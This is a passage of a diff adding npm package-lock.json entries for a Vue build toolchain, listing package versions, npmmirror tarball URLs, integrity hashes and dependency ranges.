"minimatch": "^3.0.4" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "deprecated": "Use @eslint/object-schema instead", + "dev": true + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.5", + "resolved": "https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz", + "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.2.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.6", + "resolved": "https://registry.npmmirror.com/@jridgewell/source-map/-/source-map-0.3.6.tgz", + "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", + "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.25", + "resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", + "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz", + "integrity": "sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==", + "dev": true + }, + "node_modules/@mixmark-io/domino": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@mixmark-io/domino/-/domino-2.2.0.tgz", + "integrity": "sha512-Y28PR25bHXUg88kCV7nivXrP2Nj2RueZ3/l/jdx6J9f8J4nsEGcgX0Qe6lt7Pa+J79+kPiJU3LguR6O/6zrLOw==" + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://registry.npmmirror.com/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "dev": true, + "dependencies": { + "eslint-scope": "5.1.1" + } + }, + "node_modules/@node-ipc/js-queue": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/@node-ipc/js-queue/-/js-queue-2.0.3.tgz", + "integrity": "sha512-fL1wpr8hhD5gT2dA1qifeVaoDFlQR5es8tFuKqjHX+kdOtdNHnxkVZbtIrR2rxnMFvehkjaZRNV2H/gPXlb0hw==", + "dev": true, + "dependencies": { + "easy-stack": "1.0.1" + }, + "engines": { + "node": ">=1.0.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@polka/url": { + "version": "1.0.0-next.28", + "resolved": "https://registry.npmmirror.com/@polka/url/-/url-1.0.0-next.28.tgz", + "integrity": "sha512-8LduaNlMZGwdZ6qWrKlfa+2M4gahzFkprZiAt2TF8uS0qQgBizKXpXURqvTJ4WtmupWxaLqjRb2UCTe72mu+Aw==", + "dev": true + }, + "node_modules/@popperjs/core": { + "name": "@sxzz/popperjs-es", + "version": "2.11.7", + "resolved": "https://registry.npmmirror.com/@sxzz/popperjs-es/-/popperjs-es-2.11.7.tgz", + "integrity": "sha512-Ccy0NlLkzr0Ex2FKvh2X+OyERHXJ88XJ1MXtsI9y9fGexlaXaVTPzBCRBwIxFkORuOb+uBqeu+RqnpgYTEZRUQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.1.3", + "resolved": "https://registry.npmmirror.com/@rollup/pluginutils/-/pluginutils-5.1.3.tgz", + "integrity": "sha512-Pnsb6f32CD2W3uCaLZIzDmeFyQ2b8UWMFI7xtwUezpcGBDVDW6y9XgAWIlARiGAo6eNF5FK5aQTr0LFyNyqq5A==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@sideway/address": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/@sideway/address/-/address-4.1.5.tgz", + "integrity": "sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==", + "dev": true, + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", + "dev": true + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "dev": true + }, + "node_modules/@soda/friendly-errors-webpack-plugin": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/@soda/friendly-errors-webpack-plugin/-/friendly-errors-webpack-plugin-1.8.1.tgz", + "integrity": "sha512-h2ooWqP8XuFqTXT+NyAFbrArzfQA7R6HTezADrvD9Re8fxMLTPPniLdqVTdDaO0eIoLaAwKT+d6w+5GeTk7Vbg==", + "dev": true, + "dependencies": { + "chalk": "^3.0.0", + "error-stack-parser": "^2.0.6", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/@soda/get-current-script": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/@soda/get-current-script/-/get-current-script-1.0.2.tgz", + "integrity": "sha512-T7VNNlYVM1SgQ+VsMYhnDkcGmWhQdL0bDyGm5TlQ3GBXnJscEClUUOKduWTmm2zCnvNLC1hc3JpuXjs/nFOc5w==", + "dev": true + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "dev": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.5", + "resolved": "https://registry.npmmirror.com/@types/body-parser/-/body-parser-1.19.5.tgz", + "integrity": "sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==", + "dev": true, + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@types/bonjour/-/bonjour-3.5.13.tgz", + "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "resolved": "https://registry.npmmirror.com/@types/connect/-/connect-3.4.38.tgz", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz", + "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==", + "dev": true, + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.56.12", + "resolved": "https://registry.npmmirror.com/@types/eslint/-/eslint-8.56.12.tgz", + "integrity": "sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==", + "dev": true, + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", + "dev": true + }, + "node_modules/@types/express": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/@types/express/-/express-4.17.21.tgz", + "integrity": "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==", + "dev": true, + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/@types/express-serve-static-core/-/express-serve-static-core-5.0.1.tgz", + "integrity": "sha512-CRICJIl0N5cXDONAdlTv5ShATZ4HEwk6kDDIW2/w9qOWKg+NU/5F8wYRWCrONad0/UKkloNSmmyN/wX4rtpbVA==", + "dev": true, + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/express/node_modules/@types/express-serve-static-core": { + "version": "4.19.6", + "resolved": "https://registry.npmmirror.com/@types/express-serve-static-core/-/express-serve-static-core-4.19.6.tgz", + "integrity": "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A==", + "dev": true, + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", + "dev": true + }, + "node_modules/@types/http-errors": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/@types/http-errors/-/http-errors-2.0.4.tgz", + "integrity": "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==", + "dev": true + }, + "node_modules/@types/http-proxy": { + "version": "1.17.15", + "resolved": "https://registry.npmmirror.com/@types/http-proxy/-/http-proxy-1.17.15.tgz", + "integrity": "sha512-25g5atgiVNTIv0LBDTg1H74Hvayx0ajtJPLLcYE3whFv75J0pWNtOBzaXJQgDTmrX1bx5U9YC2w/n65BN1HwRQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmmirror.com/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true + }, + "node_modules/@types/lodash": { + "version": "4.17.13", + "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.13.tgz", + "integrity": "sha512-lfx+dftrEZcdBPczf9d0Qv0x+j/rfNCMuC6OcfXmO8gkfeNAY88PgKUbvG56whcN23gc27yenwF6oJZXGFpYxg==" + }, + "node_modules/@types/lodash-es": { + "version": "4.17.12", + "resolved": "https://registry.npmmirror.com/@types/lodash-es/-/lodash-es-4.17.12.tgz", + "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", + "dependencies": { + "@types/lodash": "*" + } + }, + "node_modules/@types/mime": { + "version": "1.3.5", + "resolved": "https://registry.npmmirror.com/@types/mime/-/mime-1.3.5.tgz", + "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", + "dev": true + }, + "node_modules/@types/minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@types/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==", + "dev": true + }, + "node_modules/@types/node": { + "version": "22.8.2", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-22.8.2.tgz", + "integrity": "sha512-NzaRNFV+FZkvK/KLCsNdTvID0SThyrs5SHB6tsD/lajr22FGC73N2QeDPM2wHtVde8mgcXuSsHQkH5cX1pbPLw==", + "dev": true, + "dependencies": { + "undici-types": "~6.19.8" + } + }, + "node_modules/@types/node-forge": { + "version": "1.3.11", + "resolved": "https://registry.npmmirror.com/@types/node-forge/-/node-forge-1.3.11.tgz", + "integrity": "sha512-FQx220y22OKNTqaByeBGqHWYz4cl94tpcxeFdvBo3wjG6XPBuZ0BNgNZRV5J5TFmmcsJ4IzsLkmGRiQbnYsBEQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.4", + "resolved": "https://registry.npmmirror.com/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", + "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", + "dev": true + }, + "node_modules/@types/parse-json": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@types/parse-json/-/parse-json-4.0.2.tgz", + "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==", + "dev": true + }, + "node_modules/@types/qs": { + "version": "6.9.16", + "resolved": "https://registry.npmmirror.com/@types/qs/-/qs-6.9.16.tgz", + "integrity": "sha512-7i+zxXdPD0T4cKDuxCUXJ4wHcsJLwENa6Z3dCu8cfCK743OGy5Nu1RmAGqDPsoTDINVEcdXKRvR/zre+P2Ku1A==", + "dev": true + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/@types/range-parser/-/range-parser-1.2.7.tgz", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", + "dev": true + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmmirror.com/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "dev": true + }, + "node_modules/@types/send": { + "version": "0.17.4", + "resolved": "https://registry.npmmirror.com/@types/send/-/send-0.17.4.tgz", + "integrity": "sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==", + "dev": true, + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { + "version": "1.9.4", + "resolved": "https://registry.npmmirror.com/@types/serve-index/-/serve-index-1.9.4.tgz", + "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==", + "dev": true, + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.7", + "resolved": "https://registry.npmmirror.com/@types/serve-static/-/serve-static-1.15.7.tgz", + "integrity": "sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==", + "dev": true, + "dependencies": { + "@types/http-errors": "*", + "@types/node": "*", + "@types/send": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.36", + "resolved": "https://registry.npmmirror.com/@types/sockjs/-/sockjs-0.3.36.tgz", + "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.16", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.16.tgz", + "integrity": "sha512-oh8q2Zc32S6gd/j50GowEjKLoOVOwHP/bWVjKJInBwQqdOYMdPrf1oVlelTlyfFK3CKxL1uahMDAr+vy8T7yMQ==" + }, + "node_modules/@types/ws": { + "version": "8.5.12", + "resolved": "https://registry.npmmirror.com/@types/ws/-/ws-8.5.12.tgz", + "integrity": "sha512-3tPRkv1EtkDpzlgyKyI8pGsGZAGPEaXeu0DOj5DI25Ja91bdAYddYHbADRYVrZMRbfW+1l5YwXVDKohDJNQxkQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@vue/babel-helper-vue-jsx-merge-props": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-helper-vue-jsx-merge-props/-/babel-helper-vue-jsx-merge-props-1.4.0.tgz", + "integrity": "sha512-JkqXfCkUDp4PIlFdDQ0TdXoIejMtTHP67/pvxlgeY+u5k3LEdKuWZ3LK6xkxo52uDoABIVyRwqVkfLQJhk7VBA==", + "dev": true + }, + "node_modules/@vue/babel-helper-vue-transform-on": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@vue/babel-helper-vue-transform-on/-/babel-helper-vue-transform-on-1.2.5.tgz", + "integrity": "sha512-lOz4t39ZdmU4DJAa2hwPYmKc8EsuGa2U0L9KaZaOJUt0UwQNjNA3AZTq6uEivhOKhhG1Wvy96SvYBoFmCg3uuw==", + "dev": true + }, + "node_modules/@vue/babel-plugin-jsx": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@vue/babel-plugin-jsx/-/babel-plugin-jsx-1.2.5.tgz", + "integrity": "sha512-zTrNmOd4939H9KsRIGmmzn3q2zvv1mjxkYZHgqHZgDrXz5B1Q3WyGEjO2f+JrmKghvl1JIRcvo63LgM1kH5zFg==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.24.7", + "@babel/helper-plugin-utils": "^7.24.8", + "@babel/plugin-syntax-jsx": "^7.24.7", + "@babel/template": "^7.25.0", + "@babel/traverse": "^7.25.6", + "@babel/types": "^7.25.6", + "@vue/babel-helper-vue-transform-on": "1.2.5", + "@vue/babel-plugin-resolve-type": "1.2.5", + "html-tags": "^3.3.1", + "svg-tags": "^1.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + }, + "peerDependenciesMeta": { + "@babel/core": { + "optional": true + } + } + }, + "node_modules/@vue/babel-plugin-resolve-type": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@vue/babel-plugin-resolve-type/-/babel-plugin-resolve-type-1.2.5.tgz", + "integrity": "sha512-U/ibkQrf5sx0XXRnUZD1mo5F7PkpKyTbfXM3a3rC4YnUz6crHEz9Jg09jzzL6QYlXNto/9CePdOg/c87O4Nlfg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.24.7", + "@babel/helper-module-imports": "^7.24.7", + "@babel/helper-plugin-utils": "^7.24.8", + "@babel/parser": "^7.25.6", + "@vue/compiler-sfc": "^3.5.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-plugin-transform-vue-jsx": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-plugin-transform-vue-jsx/-/babel-plugin-transform-vue-jsx-1.4.0.tgz", + "integrity": "sha512-Fmastxw4MMx0vlgLS4XBX0XiBbUFzoMGeVXuMV08wyOfXdikAFqBTuYPR0tlk+XskL19EzHc39SgjrPGY23JnA==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.0.0", + "@babel/plugin-syntax-jsx": "^7.2.0", + "@vue/babel-helper-vue-jsx-merge-props": "^1.4.0", + "html-tags": "^2.0.0", + "lodash.kebabcase": "^4.1.1", + "svg-tags": "^1.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-plugin-transform-vue-jsx/node_modules/html-tags": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/html-tags/-/html-tags-2.0.0.tgz", + "integrity": "sha512-+Il6N8cCo2wB/Vd3gqy/8TZhTD3QvcVeQLCnZiGkGCH3JP28IgGAY41giccp2W4R3jfyJPAP318FQTa1yU7K7g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@vue/babel-preset-app": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/babel-preset-app/-/babel-preset-app-5.0.8.tgz", + "integrity": "sha512-yl+5qhpjd8e1G4cMXfORkkBlvtPCIgmRf3IYCWYDKIQ7m+PPa5iTm4feiNmCMD6yGqQWMhhK/7M3oWGL9boKwg==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.16", + "@babel/helper-compilation-targets": "^7.12.16", + "@babel/helper-module-imports": "^7.12.13", + "@babel/plugin-proposal-class-properties": "^7.12.13", + "@babel/plugin-proposal-decorators": "^7.12.13", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-jsx": "^7.12.13", + "@babel/plugin-transform-runtime": "^7.12.15", + "@babel/preset-env": "^7.12.16", + "@babel/runtime": "^7.12.13", + "@vue/babel-plugin-jsx": "^1.0.3", + "@vue/babel-preset-jsx": "^1.1.2", + "babel-plugin-dynamic-import-node": "^2.3.3", + "core-js": "^3.8.3", + "core-js-compat": "^3.8.3", + "semver": "^7.3.4" + }, + "peerDependencies": { + "@babel/core": "*", + "core-js": "^3", + "vue": "^2 || ^3.2.13" + }, + "peerDependenciesMeta": { + "core-js": { + "optional": true + }, + "vue": { + "optional": true + } + } + }, + "node_modules/@vue/babel-preset-app/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@vue/babel-preset-jsx": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-preset-jsx/-/babel-preset-jsx-1.4.0.tgz", + "integrity": "sha512-QmfRpssBOPZWL5xw7fOuHNifCQcNQC1PrOo/4fu6xlhlKJJKSA3HqX92Nvgyx8fqHZTUGMPHmFA+IDqwXlqkSA==", + "dev": true, + "dependencies": { + "@vue/babel-helper-vue-jsx-merge-props": "^1.4.0", + "@vue/babel-plugin-transform-vue-jsx": "^1.4.0", + "@vue/babel-sugar-composition-api-inject-h": "^1.4.0", + "@vue/babel-sugar-composition-api-render-instance": "^1.4.0", + "@vue/babel-sugar-functional-vue": "^1.4.0", + "@vue/babel-sugar-inject-h": "^1.4.0", + "@vue/babel-sugar-v-model": "^1.4.0", + "@vue/babel-sugar-v-on": "^1.4.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0", + "vue": "*" + }, + "peerDependenciesMeta": { + "vue": { + "optional": true + } + } + }, + "node_modules/@vue/babel-sugar-composition-api-inject-h": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-composition-api-inject-h/-/babel-sugar-composition-api-inject-h-1.4.0.tgz", + "integrity": "sha512-VQq6zEddJHctnG4w3TfmlVp5FzDavUSut/DwR0xVoe/mJKXyMcsIibL42wPntozITEoY90aBV0/1d2KjxHU52g==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-composition-api-render-instance": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-composition-api-render-instance/-/babel-sugar-composition-api-render-instance-1.4.0.tgz", + "integrity": 